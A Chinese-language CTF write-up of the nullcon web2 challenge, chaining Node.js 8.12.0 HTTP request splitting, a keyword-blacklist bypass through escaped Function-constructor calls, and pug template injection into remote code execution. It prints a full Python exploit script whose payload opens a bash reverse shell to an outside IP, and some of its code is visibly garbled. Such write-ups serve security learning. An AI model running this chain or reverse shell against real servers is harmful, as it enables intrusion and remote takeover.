原创L's合天智汇
前言
nodejs 8.12.0版本的请求拆分攻击(感觉现在叫http走私要好一点2333),pug模板的注入导致rce
0x01 首页
当我们访问http://web2.ctf.nullcon.net:8081/后会显示下面的页面。由于上面没有什么特点,url参数,交互框等,因此我们查看源代码看看有没有什么提示。通过源码(F12查看的)我们可以看到它在页面加载js代码完成后发送了个ajax请求:
var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 } }; xhttp.open("GET", "/core?q=1", true); xhttp.send();
我使用get请求发送/core?q=1,但是结果跟上面的首页是一样的只有一个动图,这时你可能会想会不会是sql注入,服务器端注入等,但是经过一系列的反恐尝试之没有什么用。但是在我们查看源代码的时候还给了个提示!-- /source -->通过访问/source可以获取题目源码。
//node 8.12.0 var express = require('express'); var app = express(); var fs = require('fs'); var path = require('path'); var http = require('http'); var pug = require('pug'); app.get('/', function(req, res) { res.sendFile(path.join(dirname + '/index.html')); }); app.get('/source', function(req, res) { res.sendFile(path.join(dirname + '/source.html')); }); app.get('/getMeme',function(req,res){ res.send('via GIPHY') }); app.get('/flag', function(req, res) { var ip = req.connection.remoteAddress; if (ip.includes('127.0.0.1')) { var authheader = req.headers['adminauth']; var pug2 = decodeURI(req.headers['pug']); var x=pug2.match(/[a-z]/g); if(!x){ if (authheader === "secretpassword") { var html = pug.render(pug2); } } else{ res.send("No characters"); } } else{ res.send("You need to come from localhost"); } }); app.get('/core', function(req, res) { var q = req.query.q; var resp = ""; if (q) { var url = 'http://localhost:8081/getMeme?' + q console.log(url) var trigger = blacklist(url); if (trigger === true) { res.send("Errrrr, You have been Blocked"); } else { try { http.get(url, function(resp) { resp.setEncoding('utf8'); ...省略... }); } catch (error) { console.log(error); } } } else { res.send("search param 'q' missing!"); } }) function blacklist(url) { var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"]; var arrayLen = evilwords.length; for (var i = 0; i arrayLen; i++) { const trigger = url.includes(evilwords[i]); if (trigger === true) { return true } } } ...省略...
0x02 代码分析
通过阅读上面的代码,我们可以看到node的版本是8.12.0,服务器端使用的框架是express,使用nodejs自带的http包发送某些请求,服务端使用pug作为渲染模板(原理加jade)。在没有发现漏洞之前,先梳理一下代码的流程:1./:使用sendFile来读取index.html页面并且渲染该页面,通过前面我们知道该页面有提示的内容。2./source:该页面返回了服务器端的全部代码。3./getMeme:该页面没有什么用就是返回了一个iframe框架,其中是个动图。4./flag:这里验证远程地址包含127.0.0.1,adminauth===secretpassword,headers头中必须包含pug字段并且其值不能包含小写字母,最后会用pug引擎渲染pug,但是这里在渲染容易受到服务器端注入攻击https://zhuanlan.zhihu.com/p/28823933,由此我们可以断定前面需要用SSRF结合CRLF来绕过,不由联想到node的版本号,因为该版本存在request splitting漏洞。复制链接做实验啦Flask服务端模板注入漏洞:实验:Flask服务端模板注入漏洞(合天网安实验室)
pug模板注入示例:
const pug=require('pug'); pug.render('#{console.log("1")}'); pug.render('-console.log(1)');
结果如下:
1 1 1
对于pug模板的相关知识可以参考如下链接:https://pugjs.org/language/interpolation.html通过动态的调试我们可以看到代码的拼接过程:
var runtime = require('./'); module.exports = wrap; // 利用js的Function来定义一个函数,pug是参数,后面是函数的定义 function wrap(template, templateName) { templateName = templateName || 'template'; return Function('pug', template + '\n' + 'return ' + templateName + ';' )(runtime); }
到:
(function anonymous(pug ) { function template(locals) {var pug_html = "", pug_mixins = {}, pug_interp;var pug_debug_filename, pug_debug_line;try {;var locals_for_with = (locals || {});(function (console) {;pug_debug_line = 1; pug_html = pug_html + "\u003C" + (console.log("1")) + "\u003E\u003C\u002F" + (console.log("1")) + "\u003E";}.call(this,"console" in locals_for_with?locals_for_with.console:typeof console!=="undefined"?console:undefined));} catch (err) {pug.rethrow(err, pug_debug_filename, pug_debug_line);};return pug_html;} return template; })
上面的这段代码中的template函数就是通过Function来构造的,代码拼接进去的部分就是\u003C后面的console.log("1")和\u003E前面的console.log("1"),拼接了两个console.log("1")这就是,然后在函数运行的时候就会执行console.log("1")。我们可以看到代码拼接进去了,结合上面两段代码简化一下就是:
const t=Function('pug','function template(locals) {(console.log(locals))}'+'\n' + 'return ' + 'template' + ';'); t()("1");
request splitting漏洞代码示例:
const http = require('http') const server = http.createServer((req, res) => { console.log(req.url); res.end(); }); server.listen(8000, function() { http.get('http://192.168.220.157:8000/?param=x\u{0120}HTTP/1.1\u{010D}\u{010A}Host:{\u0120}127.0.0.1:8000\u{010D}\u{010A}\u{010D}\u{010A}GET\u{0120}/private', function() { }); });
结果如下:
listening on [any] 8000 ... 192.168.220.1: inverse host lookup failed: Unknown host connect to [192.168.220.157] from (UNKNOWN) [192.168.220.1] 65115 GET /?param=x HTTP/1.1 Host:%7B %7D127.0.0.1:8000 GET /private HTTP/1.1 Host: 192.168.220.157:8000 Connection: close
由上面的结果可知我们已经成功实现了CRLF注入(上面的显示:为%7B %7D可能是我kali的问题)。接下来我们需要看那里调用了http.get导致SSRF。5./core这里的q是我们可控的,而且这里使用了http.get来发起请求刚好满足我们上面的条件,但是构造的url中不能有["global", "process","mainModule","require","root","child_process","exec","\"","'","!"]字符串,我们可以对代码进行jsfuck加密绕过,但是由于加密后的代码太大,请求量会很大,因此一般用js的匿名函数来绕过,且字母我们可以用8进制,16进制来代替,例如:
[]['map']'constructor'')(); []['\155\141\160']'\143\157\156\163\164\162\165\143\164\157\162'')(); []['\x6d\x61\x70']'\x63\x6f\x6e\x73\x74\x72\x75\x63\x74\x6f\x72'')();
构造的脚本如下:
function stringToHex(str,mode=8){ const splitChar=["\"","\'","`","[","]",";","(",")",".","1","2","3","4","5","6","7","8","9"]; let result = ""; for(let i = 0; i str.length; i++){ if(result === ""){ const char=str[i]; if(splitChar.includes(char)){ result=char }else { result=str.charCodeAt(i).toString(mode) } }else{ const char=str[i]; if(splitChar.includes(char)){ result+=char }else { const tmp=str.charCodeAt(i).toString(mode); mode===8? result += "\" + tmp: result += "\x" + tmp; } } } return result; } console.log(stringToHex("[]['map']'constructor'')();",16));
上面的原理相当于构造了个new Function("alert(1)")();,由于Object的constructor是指向Function的,示例如下:
//我们可以使用以下方式创建一个函数: new Function("alert(1)"); //也可以不要new Function("alert(1)")() //可以将Function转换下 "...".substr.constructor("alert(1)")() //再转换下 "..."["substr"]"constructor"")() //字符串全部转义 "..."["\163\165\142\163\164\162"]"\143\157\156\163\164\162\165\143\164\157\162"();
代码我们也梳理了一遍,现在我们来看看怎么rce拿到flag。
0x03 利用过程:
solve.py
# coding=UTF-8 import requests from requests.utils import quote def strTohex(str): result="" for i in str: if i>='a'and i='z': result+='\'+oct(ord(i))[1:] else: result+=i return result https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/ SPACE=u'\u0120'.encode('utf-8') CRLF=u'\u010d\u010a'.encode('utf-8') SLASH=u'\u012f'.encode('utf-8') cmd = 'bash -i >& /dev/tcp/192.168.220.157/8888 0>&1' payload = "process.binding('spawn_sync').spawn({file:'bash',args:['/bin/bash','-c','%s'],envPairs:['y='],stdio:[{type:'pipe',readable:1}]})" % (cmd) pug = strTohex('''-[]["constructor"]"constructor"()'''.format(payload)).replace('"','%22').replace("'","%27") pug = strTohex('''#{[]["constructor"]"constructor"()}'''%(payload)).replace('"','%22').replace("'","%27") print quote(pug) payload='sol'+SPACE+'HTTP'+SLASH+'1.1'+CRLF*2+'GET'+SPACE+SLASH+'flag'+SPACE+'HTTP'+SLASH+'1.1'+CRLF+'x-forwarded-for:'+SPACE+'127.0.0.1'+CRLF+'adminauth:'+SPACE+'secretpassword'+CRLF+'pug:'+SPACE+pug+CRLF+'test:'+SPACE print payload res=requests.get('http://192.168.220.154:8081/core?q='+quote(payload))
#res=requests.get('http://web2.ctf.nullcon.net:8081/core?q='+requote_uri(payload)) print res.content
结果如下:
0x04 总结
通过这次的学习,感觉自己还有好多的不足,因此自己还有好多需要去了解的,去学习的。参考链接https://wooyun.js.org/drops/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%A4%A7%E8%A7%84%E6%A8%A1%E6%82%84%E6%97%A0%E5%A3%B0%E6%81%AF%E7%AA%83%E5%8F%96%E6%B7%98%E5%AE%9D.%E6%94%AF%E4%BB%98%E5%AE%9D%E8%B4%A6%E5%8F%B7%E4%B8%8E%E5%AF%86%E7%A0%81%E7%9A%84%E6%BC%8F%E6%B4%9E%20-%EF%BC%88%E5%9F%8B%E9%9B%B7%E5%BC%8F%E6%94%BB%E5%87%BB%E9%99%84%E5%B8%A6%E8%A7%86%E9%A2%91%E6%BC%94%E7%A4%BA%EF%BC%89.html
https://mengsec.com/2019/06/14/alert1-to-win/
https://www.rfk.id.au/blog/entry/security-bugs-ssrf-via-request-splitting/
https://zhuanlan.zhihu.com/p/28823933
https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html
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